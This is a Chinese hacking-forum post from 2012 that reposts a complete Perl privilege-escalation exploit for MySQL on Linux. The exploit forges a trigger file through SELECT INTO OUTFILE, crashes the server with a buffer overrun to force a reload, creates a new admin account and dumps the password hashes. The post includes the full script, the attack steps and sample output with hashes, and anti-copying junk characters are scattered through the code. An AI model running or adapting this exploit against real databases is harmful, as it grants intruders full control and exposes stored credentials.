找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2794|回复: 0
打印 上一主题 下一主题

MySQL(Linux)远程数据库提权漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:08:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。) F1 J( p) {$ D
* r7 g1 A4 ^( e# e: i% H
/ Q4 B# z3 o# P7 j; t! B" p

- M! ]0 U0 Z+ U3 I" n 4 k1 W* C( {3 E0 k. d* {2 v

6 D$ o* j2 C9 M2 i4 z! Muse DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table
- k* w2 r# Y5 x3 f+ C3 T        triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry9 y9 A6 y+ _9 p7 _: x
        describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
5 x& U9 g! X7 W. S* x* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)7 x( G. A; R3 J( o: K& |
* INSERT a value into the table so the trigger event gets executed$ A0 O; T! X& I; `
* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.: ^# Z  P9 l% e& N! ?4 |7 W
* Crash the MySQL Server again to force it reload the user configuration
  A- u& \8 Z$ Q. p* Create a new mysql user with all privileges set to enabled
8 K0 J0 Q# [+ k" f; h. G$ V* Crash again to reload configuration- V$ P4 ?; ~+ }+ W9 j9 N$ O
* Connect by using the newly created user; q. n" g2 H& g+ Z) w
* The new connection has ADMIN access now to all databases in mysql' ^4 ?5 I& i( R4 p3 ?
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded" D& W3 q; b! n: Y8 |$ w" Q
* As said the user has FULL ACCESS to the database now
4 Z- c# V5 a; Z8 @6 ^2 Z, f
( [+ _1 [5 X  t. m$ |2 G8 q6 |Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.! ^, F9 U4 Q/ `# q  `
=cut6 P9 H" z. t  H2 e. G
( W' }7 J! g/ ?! W* [$ U
=for comment/ V6 Q! H: {7 e2 R: H

0 e2 Q) R9 I: m3 `& a7 @user created for testing (file privs will minor privileges to only one database):) h0 R0 T( E/ R3 [% a
0 L  `  j( H+ L% W6 k- Q
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';% c/ d$ a6 C1 a9 W5 S
Query OK, 0 rows affected (0.00 sec)
; L! H3 p/ O. |6 [+ h% h1 z3 p# _, k9 {; G% x2 I0 ]: q0 S
mysql> create database lessdb
  \* O" b7 ~3 w! \% h    -> ;) |/ W% f! X* H5 c9 R( W7 j
Query OK, 1 row affected (0.00 sec): {6 ^) R+ A# ^; K

1 y5 z4 v' H" j+ b5 G" y/ W3 t; ]mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;" M; g: l8 ~. h
Query OK, 0 rows affected (0.02 sec)
6 K/ T& l8 H8 j; w7 H' h: S. A' [2 P2 {) Q8 k9 k, Q
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;
. o9 ]! [2 h, P7 v2 `1 v5 X1 F) ^Query OK, 0 rows affected (0.00 sec)7 ?/ {3 K" ~) g9 ~
6 z8 ]8 ^4 e/ u$ i; U5 \1 d
login with new unprivileged user:; }  D+ _+ v) Q" }
mysql> select * from mysql.user;" ~) S7 F" S; h# z$ b$ P& l
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
  F: H9 t' R4 p% K+ J2 _. b  o+ p
, j7 ^7 Q# ?5 G- ~: ^4 u0 S=cut8 \2 N- Y: @. K7 P, A5 i
0 z5 c/ O: `6 U4 B0 M, k; Q
=for comment, O2 b$ W% z4 s2 n% n+ A' l- J
; Q; N% F* M: k  r! i8 a
example attack output:. V' S; F  A1 \# e, c
9 x: |' A8 r  y- i/ `, ?0 W
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl; S+ ~9 h. S) A: s0 L. n
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER7 `2 S0 {$ c6 T
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins% Q+ D# Q' x4 M9 v+ B4 T
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
! l8 E2 b: M5 p. Lriv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\
8 \1 @1 h, F% {\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference, c5 {0 _, O8 A4 }$ r0 H
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y
$ A' y, M7 Z4 \3 E$ W4 c; x8 Y' @\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\, J- ~" V/ ?! s! t$ i8 l
\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\
0 t# x$ H( c. @) L'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs/ r4 A, x% Q" _
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati/ T+ z! J/ T) K! z5 y: n* h9 V; `
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri2 L6 t( d! m( O6 {5 D1 Q* l
vilege_elevation.pl line 44.
8 ]% q, S' ]4 d# {1 H) HDBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
4 s, N0 q' C0 [2 Y, g& pprivilege_elevation.pl line 50.
/ S, X* @+ |! o% B- \DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_, h( j/ C% c6 l( a' W: _
privilege_elevation.pl line 59.2 N6 K) {7 q3 D) E- a
W00TW00T!$ S* T. _. {: q4 \- v- {& D
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
: h  \& l# D! j8 P. T/ H6 m; v/ e0 tFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
4 A: R6 P) @" x& M) UFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
9 t5 x8 ?8 @, i2 @6 \# ?, tFound a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
* y- X$ s! z: N/ K& r% kB02C
) ^6 v9 P, h/ KFound a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
( S1 g+ X- v9 `Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B0 d# q% z- S( T4 N" F6 Y0 Y4 Q' p
Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
; N8 r4 c, d3 w9 A8 w2 d. C: DFound a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD56976 |  a5 z) B/ Y# Y
Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7% q0 D# Y; O1 H2 I
Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC297 R& f- i! X, R2 t" I
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
! [! ^: V! v8 a. T" `# N2 NFound a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
  F) ^( U& f; g$ E7 g& V0 S$ r1 g. R& ~, w
=cut
' y8 U, z1 H  Y' Y; F2 `
$ e' d4 R( G* a: N3 f: N0 z# a$user = "less10";$ D( ~' p/ [) L+ P3 D  ?
$password = "test";8 B( L3 s8 H# ~6 I9 c0 v7 J. v7 P
$database = "lessdb10";
' E; o% a% T' Y- n. \6 c$target = "192.168.2.4";5 F, n1 b! X. c2 B
$folder = "/var/lib/mysql/"; # Linux
7 @; @7 E- j9 u% x/ k$newuser = "rootedbox2";0 J* X* \$ m% \' z
$newuserpass = "rootedbox2";7 R6 d2 g# K: M. M
$mysql_version = "51"; # can be 51 or 50* Z# o  e' e4 y2 T( _
( W9 i2 a# H+ K3 I' G
if ($mysql_version eq "50") {
& e' }- u3 U+ T# g$inject =
2 q8 F! u9 H' P"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";  s. X5 t, P! x6 T9 m
} else {5 q  h% E% A8 S3 L$ E9 Y2 |
$inject =1 E+ S0 |8 o# h; u5 y
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
' |% b$ t5 q3 }! m/ t) ~3 j}
8 g) W  l' r3 T& L6 O& k, u; e( F( g$ H( {' h
print $inject;#exit;; ~- }" u8 y  Z& Z
$inject2 =
4 s% U/ r" l1 `  W) M" {/ N"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";; ?9 u$ B3 L5 w0 a
' |  u- c& O1 l
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",/ m7 ~& t' O& M' S# B' }( l2 e
                       "$user", "$password",
, i* p' O! t4 B7 f6 r) Q                       {'RaiseError' => 0});4 J  x, Y' E8 Q' Z1 n
eval { $dbh->do("DROP TABLE rootme") };' t7 H' y, Y5 e' n9 t! a' `1 G
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
7 d5 r% T! a6 q$dbh->do($inject);
/ t- k! n& k  m$dbh->do($inject2);* a9 [" ~% K  E$ K# ^7 A
( C6 J$ A1 L: j0 U" p0 f& N" y
$a = "A" x 10000;( T$ K  G! g7 |7 Z" d' P* ]# V8 }
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
/ J; O! [/ b) k& d. F0 [7 E- H  @9 n# s! X# ?
sleep(3);: g6 W' f& j, {( S7 e

  ?; }( n$ i6 K% b' v& V: xmy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",  \" A& C' A; C, J$ F2 k4 [( O; K
                       "$user", "$password",* J' N2 |! t2 N+ z3 e
                       {'RaiseError' => 0});
( u% x* G2 e( Y7 h+ o, }
% s9 p' i! A% z- L* l2 [$dbh->do("INSERT INTO rootme VALUES('ROOTED');");( ~+ S6 M8 I1 n3 F2 ?
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");* @; h+ j  U/ T
9 `8 J2 m7 I+ Y# ]. q% F7 x3 b
sleep(3);# z1 E" ?  c5 E8 t

, ?& A6 s. }8 k$ O4 Fmy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
+ x" \6 T) n6 H% P                       "$user", "$password",
% O1 a) j, H: }7 W" l                       {'RaiseError' => 0});
6 z. E- N/ Z. ]! l. L4 `* Z
+ U$ g  A5 i& {) w% y8 I- q7 D$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");% v8 b4 N0 y) A8 m$ w& u
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
9 ]$ z! B  d! K+ L1 C$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
5 Z( x3 E! ^6 k( u) K3 C& e0 C! ~# _( G$ `
sleep(3);
+ Q2 C9 ^) W( C7 a( W! Z9 z
) Z+ P6 f0 V1 Z# nmy $dbh = DBI->connect("DBI:mysql:host=$target;",  [  R) [* M9 j0 h
                       $newuser, $newuserpass," }: ^5 N3 {2 F" _; O( c1 ^+ Q* ]
                       {'RaiseError' => 0});
6 C  |4 N/ W1 m/ g3 o9 a
6 J+ p. V# _( }( G+ K7 omy $sth = $dbh->prepare("SELECT * FROM mysql.user");4 b: U+ G! R9 ^6 P, I2 i1 f
$sth->execute();
) V' x5 P& Q$ ]' t' F2 l" [* H2 \* i% ^5 A1 v5 h3 B' h
print "W00TW00T!\n";" a! |: R# U% q% o! ?* @

& u; |' {0 b- lwhile (my $ref = $sth->fetchrow_hashref()) {
: M. t* U* V& Oprint "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";* N$ m# ?& }, B! y: u- B  w
}, ^3 f# G/ m; Q' n/ T
$sth->finish();
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表